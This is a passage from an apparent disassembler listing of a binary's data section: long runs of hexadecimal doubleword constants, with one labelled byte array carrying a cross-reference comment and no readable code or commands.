354B2D09h, 0A4148Ch dd 60AC90A0h, 0F451B125h, 1CD3D11Ch, 0D71A980h, 1E7B5E13h dd 0F9670Fh, 0AD6BDCCAh, 0A198BD70h, 6C0B94E4h, 42EBE7h dd 8762A149h, 18015412h, 6C8B3865h, 0B43A54A0h, 0DD030041h dd 0BD3EB0A6h, 5DE0EDCCh, 63303F2h, 2FAE23Dh, 69C553D0h dd 2C25FC1Dh, 2BACDC07h, 9B83BC82h, 3A68C030h, 0F753951h dd 0B1C55480h, 8F69FD03h, 0E8387DE0h, 719D07D8h, 42C30460h dd 0F05DA083h, 7D3600F7h, 1C6EBEC2h, 0D0804EB4h, 13CE8CBh dd 0FD365F48h, 0E16C2E01h, 5C0880E0h, 3D372B11h, 3689032Ch dd 348C265Dh, 8EA405C1h, 81C2E0B0h, 6EC1B09Ch, 0C5A83E0h dd 6AD47C61h, 98A1C758h, 2AC4A22h, 38332173h, 0D8740356h dd 35DDC814h, 3A007494h, 0E35C69A8h, 33FD379Eh, 6E7029ABh dd 1420B8C6h, 79B328C9h, 0EF622B98h, 3AA10094h, 0AABFF433h dd 0A214510Ah, 8B0ABCD9h, 3838C408h, 0EDFD01D6h, 0A57C69BAh dd 507D34CCh, 5D8421h, 0BD07B9C4h, 0BC6E96BFh, 68529B09h dd 41A38E9Ch, 1F9311F3h, 0A42304D0h, 99FC046Ch, 25701D0h dd 800EDE34h, 3E04F5D0h, 0F05E7C7Dh, 0A23F303Dh, 6C3028C8h dd 0E0AE9C32h, 128457Ch, 10DDBC94h, 0A5C8A82Ah, 0C8489360h dd 5BD0676h, 9D02FDB1h, 1DA01EF1h, 7D18FAE1h, 0CB3D1028h dd 3018DD66h, 9B9D1CF0h, 0E8013DCCh, 977D02C2h, 79BDC075h dd 0B30738DDh, 54C337CFh, 991DC0FBh, 9668C651h, 0D774C107h dd 4D953D1Fh, 0FB8D013Ch, 0AAD9BD02h, 0A31EE88Eh, 80D19D84h dd 0E19B5D6Ch, 0F8CE48CFh, 0C3102F18h, 0AA1F9A0h, 0DF87AE0h dd 8CE2F5F9h, 8E40418h, 30D86266h, 84255D5h, 43E7D743h dd 6830E93Ah, 1A3D18B3h, 0ADE8C63Fh, 8D241009h, 5071C9Fh dd 0AF456F84h, 817B44Ch, 0F86B50FCh, 60F8483Ch, 78C67C18h dd 0DD701EBDh, 5B361D12h, 98AC1403h, 100CC737h, 0A6B524BDh dd 312F1884h, 36005219h, 68F24E1Dh, 90A0925Ch, 61816444h dd 3D2481D8h, 1DB08589h, 0AC03B7BDh, 0E107D1D5h, 0FDD0A8F0h dd 0C78DF34h, 0E720A180h, 67A83362h, 0CBD44047h, 0E1E0E91Fh dd 45B18079h, 617D7CF8h, 0A3FE70C4h, 0F89B7506h, 40A82430h dd 0F06E43BDh, 1068E067h, 12CF23Ch, 0FD349DBAh, 892A36Bh dd 5CD80396h, 6831D335h, 0C71C80F9h, 453CC2F7h, 79CC05DCh dd 9E385A0h, 2C21F4DCh dd 81FCC85Dh, 5C462E8h, 9C4004BDh, 90A7DA7Dh, 50CF4CE0h dd 90B03D0Ch, 0CFE92F30h, 5AEE03E8h, 9332F71Eh, 94AEB7C7h dd 3D5F06FFh, 45735820h, 12227700h, 0FD6F1766h, 393ED7F0h dd 6E970019h, 0EB764ECh, 317F8F2h, 0F76616CAh, 97A04383h dd 6E7CAF3Eh, 6914581Fh, 4F515018h, 0C030C0EDh, 1575A68h dd 9CA0F3FDh, 771F660Fh, 0B70769A9h, 86CEFEADh, 38108156h dd 0D68C0CE1h, 0E508126Ah, 0B6011579h, 0F60844D5h, 10BC0B64h dd 9638F8B1h, 0AAA8A670h, 630C531Dh, 78EB0B8h, 0FE560DDAh dd 67CB4FB4h, 7955AB20h, 0BF033750h, 74D764A1h, 1257A0EBh dd 3F7F0A5h, 7753B39Ch, 5019B575h, 0AE10B423h, 0F102A16Ah dd 61589B49h, 42DFC108h, 3C3F6F0h, 0C7760845h, 0EC00A5Dh dd 0A1006527h, 16AE8674h, 1044310h, 35F82AB9h, 432541CEh dd 7873D790h, 571DF01h, 6B926696h, 72531C50h, 5D9F2E9h dd 77EE35C1h, 9094001Bh, 28575271h, 760DB306h, 29E06547h dd 3C04EFh, 45C4F692h, 3512C6ADh, 80A068Eh, 6DC03497h dd 1E84B911h, 4035BF33h, 37671D8Ch, 5A0C1C04h, 8E7A377h dd 0D718C3BCh, 0C03B2407h, 0B7660A12h, 0F70CA493h, 825B0961h dd 3113885h, 624879FCh, 6FFF24E0h, 0EC64D0F8h, 4884E150h dd 67BFFC00h, 0C15C1F7h, 0BBD83766h, 4C902D68h, 1CB39724h dd 0A3095700h, 6E417764h, 0A4F42018h, 0E7C5B700h, 0BAC0576Eh dd 271F0E9h, 0FB1E18C6h, 10486F08h, 4801D989h, 8CFD6C17h dd 0E80ACCC0h, 0C1D401Fh, 0E9E85490h, 4908FC67h, 4D96419Fh dd 7FD10DE0h, 0B797F600h, 0E27B8A0h, 49760C1Bh, 0F2BC9138h dd 3A1A2820h, 6D1953CFh, 0D44208E4h, 79311752h, 9E1C1045h dd 0B6F0F7E1h, 0A04EF850h, 0DF5ED6E4h, 71150C10h, 0B2483058h dd 0A1AD1858h, 0F0829E18h, 6BD90177h, 7448360Ch, 9DA2E052h dd 6D3137E8h, 0B508A828h, 487516D0h, 7A3710D6h, 1103529h dd 63DF86A4h, 5311E8D7h, 4A41702h, 4033360Ah, 90BAD660h dd 0BD56376Ch, 90F38408h, 0A5AA030h, 2C377618h, 0C948C910h dd 8801FF68h, 20883AF6h, 64400E8Ch, 7640C3FCh, 4818D7BEh dd 8368AC44h, 56A8CCE3h, 0D47C3B09h, 8CA0DEF0h, 0A492D117h dd 0C8CC848h, 58DD5456h, 88CF34Fh, 49807F77h, 560C6E06h dd 30B2EEh, 5C8B329Bh, 0AD7B1D40h, 0F92F03Ah, 81E9564Dh dd 8EB08A9Ch, 0E8E33FD0h, 4098911Ch, 48C12DFAh, 4E298492h dd 9387109Eh, 31E03F6Ah, 246E35C2h, 92C17BBh, 7482C4F3h dd 9082692Eh, 0B04C90D3h, 0E33DD400h, 3524F8FDh, 77E7400Eh dd 0A687048h, 80ADD8F7h, 56D8BB19h, 8593C58h, 34038B68h dd 5E142E16h, 0F8623064h, 98670E16h, 4027638Ch, 78818276h dd 5944584Dh, 932AA20Ch, 0EACEE032h, 175D1360h, 0B0D814D6h dd 7793733Ch, 0D784029Ah, 2092388Ah, 59A90481h, 0EE2830EAh dd 0B780B950h, 0C0780A4Dh, 564EF914h, 225C98C0h, 6426728Eh dd 0C12D822h, 29F7F405h, 0DF0C841Fh, 0E386D0AEh, 0EC44C094h dd 6DB4160Eh, 8062F683h, 209A1837h, 4874B85h, 4129CA82h dd 4C60C204h, 6C1A3ED7h, 3F46568Ch, 0A606F318h, 0DF4EB60Ah dd 7B540010h, 2A9BB750h, 0DC485608h, 0AC960158h, 8636056Fh dd 515814F7h, 0F3E0E4ABh, 1313446Ch, 940EFCF7h, 2409D3C9h dd 84C88E23h, 58C02914h, 3063EBACh, 16601557h, 5CE937D3h dd 7811C228h, 4E0CF4F7h, 8C90C92Eh, 0C0859892h, 3EC0B702h dd 6EACA33Ch, 188ECCF5h, 4E692802h, 0E0731FBh, 31A06726h dd 490B37Eh, 5D8841E6h, 18942161h, 71F20620h, 68C2CC30h dd 0C9DDAD2Eh, 2C3450C0h, 99265B1Dh, 0D418C690h, 0D863C07Bh dd 361F7CA5h, 2213AA49h, 0CAA2EE88h, 0C2494ECh, 0AD293A84h dd 114C8EC9h, 0CC363DC8h, 66F61418h, 0D8D62AD4h, 589AE8F8h dd 58BA6C3Eh, 0E835B088h, 51926F88h, 81D1DE24h, 60408928h dd 0E0988DF8h, 7C3AD72Eh, 0E811F70Ah, 0F23E189h, 9FC66E5Ch dd 0A110E41Bh, 0C830BA07h, 7012583Dh, 0AC879714h, 0A0FFD618h dd 10CC304Ah, 4C761826h, 0B61F8C1Bh, 0B9A8737Dh, 5196B019h dd 8BE4B21h, 634B713h, 40495A08h, 2EC09C4Ch, 31BC8816h dd 485A4935h, 98A0C606h, 28C963C9h, 9EC0A69Bh, 31962C08h dd 0ED2C3A54h, 29F9664h, 0B8E59734h, 0BE588840h, 41F480C6h dd 0BDB92640h, 108098B0h, 50C128D5h, 99E74455h, 0D9D0F0E1h dd 1DBEB83Bh, 7915259h, 0C1AA4719h, 0D3FA85F9h, 105C56E7h dd 38432033h, 0D9820CCDh, 0DF30BA32h, 0A040A163h, 61082EB9h dd 0F8790335h, 3ED1E62Bh, 0F119D124h, 0A508C5Eh, 7C4048E2h dd 40E0E887h, 0A57C8A4Ah, 7301B91Eh, 7ACD7987h, 0B2E43980h dd 1E42F0E1h, 98DAB8B0h, 0D26640A9h, 0C5FABA18h, 0E1D910h dd 8279E25Ch, 909AB92Ch, 72BA5840h, 7021E794h, 3E6819E0h dd 3D19E621h, 8C4360CEh, 0E87E2359h, 88A06105h, 0D0E07769h dd 70C6A16Dh, 20107B2Ah, 0D500A066h, 2B648151h, 0D9449Fh dd 0EB73E9FAh, 11DFDB6Eh, 8C28B80Ah, 5CC0149Ah, 38805309h dd 3180DFF7h, 0BA8EB96Bh, 8F434051h, 0B8751E06h, 0D10A514Dh dd 148D0AF9h, 74DD13E0h, 18DAEE38h, 78AFF1DFh, 0BE524A3Ah dd 6585872Ch, 9140F374h, 0FA8B59D5h, 8A8EA400h, 0B9CCD9DAh dd 0FF0E285Ah, 4A4890h, 0F9EB287Bh, 0F38D31E0h, 40F49610h dd 0B8B15284h, 0F79C5A18h, 90EF4530h, 0DDFA0304h, 0A5415091h dd 4EDE70A0h, 4890922Bh, 0FE657103h, 0B1C13F46h, 7A8A8C85h dd 0C143055h, 0ED035FEBh, 51DFD86Dh, 0E9B137A6h, 0F3AC4030h dd 0EA317AB9h, 0F8B3801Eh, 9A53E441h, 607019D0h, 82AAC043h dd 0B029F9E0h, 0FF03301Dh, 0C0B16C68h, 9071DF3Eh, 1A89127Fh dd 9A3402F1h, 6C41612Eh, 194883F6h, 0E9B92B52h, 20208E72h dd 24B7743Dh, 0AC7C9Ah, 6523CCF9h, 0A9498C1Fh, 0DFC48100h dd 15D5F0A6h, 0F51420h, 0A471ABBEh, 64F1182Dh, 0D10E2574h dd 8019C142h, 0B10139CBh, 0F110C0C8h, 77A1EB92h, 66690400h dd 8A420830h, 93AB3FB1h, 74CDDA83h, 0C5F031DBh, 2B027119h dd 269102EBh, 0D01C90E1h, 9D9F0020h, 3AF1EC79h, 0DC30505Ch dd 929109B1h, 62DA7434h, 22517859h, 0D34B2098h, 0AAA77D18h dd 0A6811A78h, 5C65004Ch, 8C820C8Fh, 0A0397AF1h, 8AB11B08h dd 0D80AA050h, 0A21C86A3h, 3F402E4Ah, 145AF1A9h, 31AF028Bh dd 11026350h, 22D630B0h, 0DFD222h, 0DB43AEBAh, 2F3C0B1h dd 5C2BB4E8h, 1A807CDCh, 213FE793h, 61F41860h, 0C8713885h dd 3C987667h, 38318A3Eh, 3721C6C0h, 38326064h, 0A0BD48C1h dd 2990F13Fh, 0A467CC03h, 7DC71A63h, 2D504C69h, 30A5311Ah dd 0C47D8016h, 311F2E31h, 0ABC85101h, 0A08C6031h, 0DA389691h dd 0A8D0E5F6h, 0C9FBB388h, 41920826h, 2D400E1h, 0DC575231h dd 4BF25117h, 80548E11h, 71F59C34h, 7ABCA03Dh, 854490B1h dd 8B538380h, 61658D79h, 9438D306h, 14CFF603h, 0CC843CAFh dd 0F8C49A14h, 9ED76CE0h, 7723CB20h, 0D852619Ah, 0D01826C9h dd 71E830F3h, 1CA4A67Dh, 59A0D300h, 0C7708194h, 117F31C1h dd 87DF5DE8h, 333B290h, 0A508A986h, 4548805Ch, 4E277879h dd 7E61C77Dh, 3398F140h, 5B07E44Eh, 5CE14183h, 0F3483AA8h dd 229752Ch, 5E436C72h, 290BE3CDh, 4090E1A1h, 0E5D01C7Eh dd 41802567h, 910326E0h, 2A0E7419h, 0E0F47411h, 0DF08DE30h dd 0AB918702h, 6F8ECE3Bh dd 0A0880712h, 0CCD1D116h, 479C415Eh, 46289B71h, 985DE208h dd 22FF734Ch, 21501390h, 98AA3230h, 0E4CC3090h, 8B51A090h dd 301AD1C0h, 5571D140h, 6F5AB4A0h, 0B8DFF8CDh, 249596F0h dd 51B4BB83h, 35F8FCFBh, 309C9451h, 0DA1C36D5h, 52BA3F31h dd 0D97AC1ECh, 318C2E8Ah, 91904C9Ah, 787B3B24h, 300CD270h dd 0FA31AD3Ah, 0DA523573h, 3EDEC1F8h, 3424EBA0h, 58B264DAh dd 0B1F85011h, 32FC1264h, 62628A1Ah, 86024014h, 0DB1FE398h dd 418061B4h, 85315430h, 0FE34B703h, 7A810992h, 0A89C6FE4h dd 0D5F9C502h, 61AABE4Bh, 94FA1C80h, 181F7F50h, 78AF57C4h dd 4EFD17BAh, 398E06F8h, 0A29C7A9h, 260B19Ah, 0F65E58BCh dd 0E1E31339h, 4460FA28h, 5D3D784Ah, 0A45CE914h, 6494F98Fh dd 604861A0h, 3A799262h, 389442AAh, 1818343Ch, 501F600Bh dd 0B12D7E1Ah, 5154B3h, 6580DB83h, 9A3E9BA5h, 9C3B02A1h dd 401BB6D8h, 0ACFB8329h, 72CB0878h, 7A8656D0h, 30A071B2h dd 7440DE28h, 8AE8B6F9h, 34F08498h, 0FBB4E90Ch, 0FDB1035h dd 7B83FDD1h, 79EEA4Fh, 0C3B3C69Bh, 8BA4A72Fh, 0AA050370h dd 1CDA12A3h, 54205A70h, 14B0D818h, 0F201740Bh, 0BAFA05F6h dd 6867CD76h, 0D0060D00h, 0A73A24DAh, 1AE0D201h, 238C5D87h dd 4AB7B8F3h, 29736089h, 0CA9466AFh, 1BD1D401h, 226B7B27h dd 541CB470h, 0CCF1444h, 0CDD4BF71h, 4C084750h, 50F02218h dd 2410CDD3h, 0E700D2AAh, 10222E4Dh, 30E83A9Fh, 0A3F4C3Ch dd 48C75D70h, 19B37550h, 68ECD198h, 0D58ED007h, 0A8253E01h dd 0B5FD5D6Ah, 0C161848h, 0CBCDCF0Bh, 806A770h, 10702381h dd 0C308C39h, 5BFF24F3h, 0DF10C7F1h, 9AB02393h, 0C160465Ch dd 28C86759h, 65101621h, 0F9350ABEh, 0C6766044h, 59C64FA7h dd 2930BE87h, 812C5C30h, 368FCFEEh, 0A52701BFh, 60A480A1h dd 5C285A13h, 6147BA40h, 7D90288Fh, 20284804h, 5E788513h dd 10B86110h, 0E9296F5Fh, 1D828328h, 7914714Ch, 2B946F07h dd 0A70364B0h, 77178EBAh, 25870351h, 6F9F9021h, 2B52F0A8h dd 0D0445DF1h, 7C2A8BA0h, 9BF6ACCEh, 0DC4E88C6h, 703B15B8h dd 85DE7425h, 205E3379h, 0DD2CFBB4h, 9C38BE2Bh, 0AF637581h dd 8700C845h, 0C080C2D8h, 3EB802E2h, 5ED40FDAh, 0FC071045h dd 990CD297h, 50320927h, 2834DEB8h, 6DD8E60Ah, 0C000086Fh dd 2C5F7B22h, 107C748Fh, 41F4E4h, 3347F290h, 19253E0h dd 0D3BDAB72h, 0E0367920h, 37043A2Ah, 0DFE25A7Fh, 0EEFB0791h dd 0C77030h, 0DC564661h, 893EFAFCh, 79936500h, 25858A0Ch dd 65700D7h, 68EBE1F9h, 8372E89Bh, 0F5D5B0Ch, 30548810h dd 0A890DD62h, 26001D64h, 4942D3D5h, 0E2528Eh, 7384E4CDh dd 3F77350Bh, 8FA63400h, 52A4132Ch, 19810359h, 17BEA36Bh dd 0E23839E0h, 84DEF500h, 66F1E9ACh, 0FF1C01Ah, 444C9850h dd 0ED9878EAh, 80C1D700h, 3F9E91B3h, 2089C061h, 15AEB03Ch dd 0CB6E38C2h, 0D6CBE054h, 0EB77E9h, 0F3B85D8Ah, 0F23AE717h dd 3048148h, 4CE1334h, 0C7FBC054h, 8AC3006Bh, 0DD86C983h dd 2300D130h, 0A299039Dh, 0CE9CDFh, 0A4940EECh, 54FC0713h dd 2F839000h, 0CFC20F2Ch, 0EC31EDCh, 9D80003Fh, 0F2A07EA8h dd 94702B73h, 50D2DF2Eh, 0C7AB5900h, 606EA1DAh, 455A30BEh dd 20C01E57h, 6C5EC491h, 41DBF4D0h, 9DA7F4CCh, 0E456D933h dd 2B198E79h, 0F604C3D1h, 0DC1BCB00h, 619E9D5Dh, 0F5100045h dd 386693B6h, 4D28C067h, 0C30AA47Bh, 801DB986h, 0F819840Ch dd 0A2793299h, 34BC412Ch, 0E34C1052h, 1EEB7Fh, 2BA01F68h dd 74569DCCh, 97664400h, 0C60BDAAh, 0CFFDEF2Eh, 0BBD71988h dd 11D93042h, 5018508Bh, 53895542h, 4AF0170Ch, 0C505F89h dd 894BA3F1h, 724513Bh, 8748429Ch, 486918A5h, 70614330h dd 0B711CD3Ch, 426C08BCh, 8A0F21FBh, 0A183D93h, 0F124C3ABh dd 0E760524Eh, 57D24A1h, 0C52311C8h, 18A95C08h, 495452EFh dd 483360A5h, 0BF65DC24h, 451F4845h, 0A79B1804h, 0D89DAA00h dd 4E887520h, 0CC0CA1B3h, 7CDF99D0h, 0D8DA4446h, 0D5003BB8h dd 1ECEACF7h, 54C319h, 0E3CD099Fh, 0F493814Dh, 0EB42A400h dd 3394235Eh, 62E41FB6h, 0AC318050h, 35BDA241h, 9BA1C112h dd 9956AC40h, 62C76E2h, 0F78574E4h, 0F90AE959h, 80691904h dd 0A05AB700h, 0CD29DFh, 8F757833h, 0A7817B76h, 39A1D660h dd 284B2Fh, 31CB8E36h, 4780C4D1h, 7671F63Eh, 0A83BD607h dd 52B03A89h, 7DFD861h, 12EB107h, 5F607ECBh, 0FA283563h dd 1C4B4C29h, 0F9210CE0h, 29A60E2Ah, 0F3C0FC7Fh, 0FA6DA96Ah dd 9B80B700h, 0CFD15C6h, 7835007Eh, 2746E566h, 2F304C70h dd 89D258F7h, 35E300D3h, 113C022Dh, 5200482Eh, 0E89D88E6h dd 81F17DB8h, 1A8CE032h, 5014C030h, 1FB7DFE6h, 94A2FBABh dd 1C0114A7h, 0DD46E0EDh, 23345001h, 450776B4h, 0F07EAAADh dd 5B98D1C0h, 1283CAFh, 37196E83h, 8BC03465h, 0D1047859h dd 0C8381243h, 4BF321C0h, 659C38F0h, 5A214980h, 2547D37Fh dd 0BCAB9CA0h, 980B7430h, 48D4BAh, 3CEA4157h, 95D73783h dd 68162430h, 0C388Bh, 85EC2076h, 70E0BF58h, 4E50A7F8h dd 0E1D9068h, 1305D167h, 406099D5h, 2A359E92h, 0C84931h dd 8542683h, 0EBBBFF8Dh, 85244200h, 4D801CBDh, 0C0035457h dd 30FB7879h, 4010FFAFh, 3903319Bh, 9358AE28h, 5A00008h dd 0C5041395h, 5718176Dh, 0DB18ED5Fh, 0BA390070h, 9BD7D041h dd 20E4ECEh, 99535256h, 0EFF46720h, 0E88A0E9h, 0A1BD002Fh dd 0D7D1E833h, 18C62463h, 8C380756h, 0B1E10184h, 0D3401DE0h dd 1B908030h, 0AA429FFEh, 46C20E73h, 2E80BDECh, 0B826DBB1h dd 0E10E237Fh, 0E5E7012Bh, 0FC03F291h, 80B46CB9h, 7DFA7B1h dd 61D9A5C4h, 0A23E1396h, 1F121896h, 4820101Dh, 4D939Eh dd 0C307D327h, 4BE97095h, 18841754h, 977BEA0Eh, 87AF608Ah dd 24FA8558h, 9D90734Dh, 0B5E180B6h, 0AF579D33h, 34E49450h dd 0E0AF100h, 243C1F1Ch, 8DB11D4Ch, 0C4101529h, 2864BA0Eh dd 0FD7C17C0h, 0E80AC348h, 8C4C0F56h, 507FA839h, 123C8644h dd 4E39F72Ah, 51A0CCB0h, 0A5AA409Dh, 85C38E02h, 43F4C4ADh dd 0B641E974h, 96424h, 22E4CA9h, 0D358840Eh, 0A840A331h dd 0CFCBE9h, 0A1034E8h, 0E8B823C4h, 2E0830ACh, 0E1802A2Fh dd 0F8C13FA7h, 4C300BA6h, 43C2482Dh, 881A2645h, 0A8D50010h dd 734B729Eh, 24009171h, 0C867AF8Ah, 634A61h, 35410625h dd 0C91F262Fh, 68247D01h, 279E18DFh, 3453F0h, 659C5FAh dd 960973C7h, 0F6D20207h, 49305ED0h, 3E3D4E57h, 3E0E1E45h dd 50F9FEEAh, 0B0F5ECEDh, 43C613Ah, 24B399Ah, 456F24C0h dd 0DF7900D2h, 0C272FF6Ch, 7A380FB2h, 932F8FA1h, 2A0A2062h dd 1AF16Eh, 0CDF8B052h, 41B95F99h, 0DD30E200h, 3C3B1F3Eh dd 0F9583053h, 8BC0CFA0h, 2C9B2600h, 29EF39B6h, 3B573BAh dd 0ABBE353Bh, 787B4493h, 0D1EE8E0h, 486AC9C8h, 876C8900h dd 0ECF620E4h, 416E3E1Eh, 8E64D41Ch, 0C6A2157Ch, 0C077A16Ch dd 0C9C4E4h, 0EFE90E1h, 96F292C7h, 3D8E8700h, 0D07C277Bh dd 5084A140h, 0E5A9FBC4h, 762AAECh, 0EE134BA2h, 0F58C607Eh dd 0F101E0E1h, 0DD3B2A10h, 0C8402E70h, 0CB6634BEh, 9C039F99h dd 0E83AF7C8h, 0A00E8321h, 0C0C4D56Eh, 7ED9255h, 0D2C9A76h dd 1C1D6001h, 0CB01E4F1h dd 82A54534h, 20807A7Bh, 0B3B9E875h db 35h byte_530055 db 0Eh, 0A0h, 84h ; DATA XREF: ___:off_437A24o ; ___:off_437A3Co dd 76059CFBh, 983EC440h, 42A1802h, 0FB60083h, 0D000F4C5h dd 0E398E959h, 0A01B3B16h, 2892D180h, 0B828F9h, 8453D758h dd 0D9D80D91h, 5084B48h, 9E618D3Bh, 0E57915C0h, 3041F413h dd 0C668CC88h, 3E28C2D0h, 10D29452h, 390AF51Eh, 0E246081Bh dd 0C3088098h, 42D73C44h, 872D5C1Eh, 0E02FF336h, 1BD03BFEh dd 40F2B224h, 0F09A500h, 157DBFh, 0A3BBAA6Ah, 53FC2663h dd 76EF54Ch, 22643F94h, 0EB11D121h, 4078B0B4h, 0B5E9F404h dd 33606934h, 0BE0EAB19h, 0A07850EBh, 89131CACh, 0EE9740AEh dd 4DBA02E8h, 5A402660h, 325D6h, 0C840A590h, 4850237Ah dd 74037C92h, 4CC5FB8Dh, 51139162h, 9AAB3D0h, 0A82A18C0h dd 5B152014h, 24C875BDh, 218178FBh, 11E84A5Dh, 96159850h dd 0E5ED1EE2h, 4F65012Ch, 407D22DAh, 3F5168E4h, 0A2D980E7h dd 79E1B0BAh, 5D4C30B6h, 33D71351h, 0B5A19000h, 16D6020Ah dd 4E11C249h, 27E0A47Ch, 78707740h, 3060622Ah, 0B189DD34h dd 0EF744820h, 0FAED00DBh, 826381E9h, 3C8176ECh, 185CF0C0h dd 38939B68h, 0B80FA17Eh, 602E86D2h, 0B3E5A6A3h, 0FFBCA842h dd 53E13CEDh, 8B508187h, 312EC040h, 0DF12FD3Dh, 0A000A07Ch dd 28F265BBh, 0CECB1252h, 47A40909h, 0F355DC80h, 0C9005C85h dd 1B9490C8h, 0E02AE4Bh, 13B29915h, 21D3C6C0h, 1898F625h dd 0D77E8807h, 2070AAEAh, 0EBB1AFh, 0A91E3748h, 0DFA25D83h dd 0DDEE1003h, 2D1A5ED1h, 0DCD6BFF0h, 0CBA4900h, 0C589A3Bh dd 20E3AC75h, 3E00E920h, 8E66FA1Ch, 1D972B3Fh, 40D851E7h dd 75075E32h, 30FBC15Fh, 0FD01356Ch, 8B253031h, 40803DF8h dd 9CD68AAFh, 0ED003EF0h, 0B2DFC9E8h, 0BB15B5h, 0C3224066h dd 13C26E3Bh, 0ECB9F4A9h, 0AD54AFD0h, 8C0076A4h, 6368BBA1h dd 187C3FFh, 0DA445F86h, 802A0B21h, 0D694E378h, 7A043324h dd 0A9101AFh, 0BCE7B6E1h, 0B4F434A7h, 55DCCE00h, 0BB1C6317h dd 599700FEh, 112A220Bh, 9001F36Bh, 36879E24h, 45BA1D4h dd 80B5461Fh, 0D296527h, 0A03DEFD9h, 42BCD5h, 37F26345h dd 4A1BCCAh, 9E22FD0Ch, 57E18730h, 49AC9689h, 0F44948h dd 738F2005h, 0ECDE2C18h, 445900BFh, 0B30616DCh, 71789341h dd 0CEF36700h, 8BF09783h, 332B03B1h, 595C52B8h, 68276800h dd 0B3B25FF5h, 353F18F7h, 717208A7h, 0C8C720C2h, 3418C04Fh dd 0B49B2E96h, 17C400C7h, 4954D992h, 4AD48D0Ch, 4C87B911h dd 3B1FCB96h, 91D6AFF8h, 8A05040Eh, 0DB808414h, 37386BA7h dd 3D9D008Dh, 0D8609E51h, 531CA833h, 2A40EDF7h, 0EE780629h dd 1BD30121h, 0D16B706Fh, 0E8F1CD7Eh, 330E3C9Bh, 0E3B762D7h dd 0C0FA6C40h, 3E6753F7h, 0EE806451h, 0AAE50120h, 334D3D6h dd 80021996h, 1059FFD2h, 9504F56Eh, 3C3863B2h, 21002E23h dd 0E7501739h, 18C682A2h, 703E2F12h, 900048Fh, 0D970A655h dd 878889h, 36DDF385h, 567CC36Fh, 117A8FE0h, 0E1638CA8h dd 0D1F5FC32h, 884495FAh, 0B96066C0h, 43761Bh, 0ED0D099Eh dd 0D3707D82h, 3749590Eh, 8EB1EBD4h, 3351A0BFh, 0B34A841h dd 4B1C4746h, 534EA300h, 96501691h, 0FF1F52DCh, 82C7DC58h dd 0AF307FA2h, 18F3DE27h, 78CDC696h, 860015E8h, 6351D6A3h dd 77F1879h, 0BB02C68h, 42809C8Bh, 0C15BC501h, 0C8854A5h dd 0FEA70C24h, 7C20F146h, 261B3E41h, 517CF880h, 4284C744h dd 80FD04E8h, 33B861B8h, 0BF8A5Bh, 8C56AE60h, 497B065Fh dd 0EA315900h, 0C3F209C7h, 480DEA91h, 3AC0604Eh, 0C8A3A950h dd 109C4A53h, 1D00601Fh, 0E77F4FC3h, 0E2028A84h, 0D07295D1h dd 8CACA1C4h, 46C867BBh, 0E3913F25h, 86C024F7h, 0F66A80D8h dd 2697A232h, 66FA6160h, 7351CB72h, 7155193Dh, 0E8AAA077h dd 11029B90h, 0BFBD916Ah, 188466Fh, 0E1DD2060h, 8C91BCDh dd 0A594881Ah, 496A0A00h, 31EB1FEEh, 21CC3F6Fh, 0F4F3C500h dd 0C7B45A45h, 22017003h, 0DFBE3C0Ch, 0A21046D1h, 93B933E8h dd 0F5670124h, 185BB342h, 688A82Dh, 0DC4A0E65h, 0C620FA01h dd 6B90F5B5h, 7252E81Eh, 3DF12C9h, 0D0E5EA94h, 470AD26h dd 9979E4Eh, 0B440D0FFh, 0C20316BFh, 62FCFA1Dh, 90096C4Bh dd 1A009420h, 0F3B77B17h, 685D92h, 6C6F015Ah, 0ED72466Ah dd 0FEA3D70Eh, 0D0888190h, 14224706h, 42260271h, 43C73A4Fh dd 0C089D510h, 38977320h, 0B0005A27h, 5B860D13h, 0C9C1BFh dd 6C3D1949h, 99E3FDADh, 6904CC90h, 8AD01E03h, 565FFC90h dd 6107845Ch, 0B04CC4F5h, 401C6528h, 5016F494h, 8A0C1485h dd 190D53AEh, 0B815EADCh, 3CBCA088h, 99490C7h, 99124957h dd 263E7818h, 539FDD08h, 215066DFh, 0E5E83060h, 75FF56h dd 0F7728C4Dh, 3FBFEAAh, 2DA9B400h, 9495B1B5h, 0FC70FF8h dd 45278830h, 27D6409Eh, 820473BDh, 0EDE6EE83h, 0A4BAB887h dd 15155AC3h, 40D834E2h, 0A4822Ah, 7E27409Ch, 0AEB30759h dd 5A89217h, 0E6B2CE00h, 209F693h, 0D36E78CBh, 0F44A6294h dd 8C90482h, 416C518h, 0EBCA3368h, 0A32365h, 1D3D5E21h dd 60A96D6Bh, 0BCF0CC00h, 3203A5F4h, 0AD70007Eh, 0AA914DC9h dd 7CFEC755h, 50E82C4Eh, 68FD0674h, 0B0E08A58h, 399B4E00h dd 0DE499D33h, 0A5F10047h, 0C7B096FDh, 0A004154h, 0D1A75D8Eh dd 1660651Fh, 47B1A4A8h, 55AF2824h, 4EC490DDh, 5512818Dh dd 0C219749h, 0F8248710h, 0BC5700DCh, 43F95AAAh, 93004A5Bh dd 17A5A9A3h, 0AAD907Ch, 3FA70885h, 0CDF706B4h, 9B0092E2h dd 0C9BB535Fh, 76DBCB64h, 0CA56004Bh, 0BF5AD6Eh, 7002A706h dd 0EC341FACh, 9760C24Ah, 59798848h, 4D7CB6C0h, 72F3F28Ah dd 32870122h, 1CAD989Eh, 0EC02011h, 0D0C196FCh, 0C233971Ah dd 37B87EC4h, 60C6DB83h, 4F030188h, 0D90C4C77h, 30974092h dd 936DE8E6h, 1C5900F4h, 0BFEA2064h, 4F28F0A6h, 6A4CCC89h dd 44520904h, 66D60098h, 0F0721A78h, 0BD3F0012h, 8F29B3A7h dd 0E002B534h, 4AA51756h, 984D71h, 87B89385h, 0E70FDB1Dh dd 0E0281CF6h, 2B580F54h, 739A003Bh, 82015369h, 14001FFBh dd 0D7C577FFh, 3EF931D3h, 0C00344Dh, 2F2544E5h, 94E84221h dd 0FD2AF100h, 9A6AC716h, 44E4007Fh, 267EA7B5h, 0C4039C75h dd 1E18BC5Dh, 1D01E064h, 0D1E50E20h, 0A5E1C70Bh, 809091D3h dd 7E2C6B18h, 1935F98h, 33A17C94h, 7BF1D8DFh, 0C94CA0h dd 0EA6C029Eh, 35667D0Bh, 0CB253Bh, 0DF3B0465h, 506148BEh dd 6E93701Fh, 53C32023h, 4909E5Ch, 3A00FE2Eh, 9130122Dh dd 42794EBh, 0FAEFD02Fh, 0D6F809Dh, 66070F3h, 2A0345E8h dd 1E4E7B39h, 9D983281h, 56C0CCFh, 0B400F720h, 0F588FC2Bh dd 0EE689Ch, 0C0B0BA39h, 0ADA4723Ah, 0F82DB402h, 0A05C790Bh dd 1B327058h, 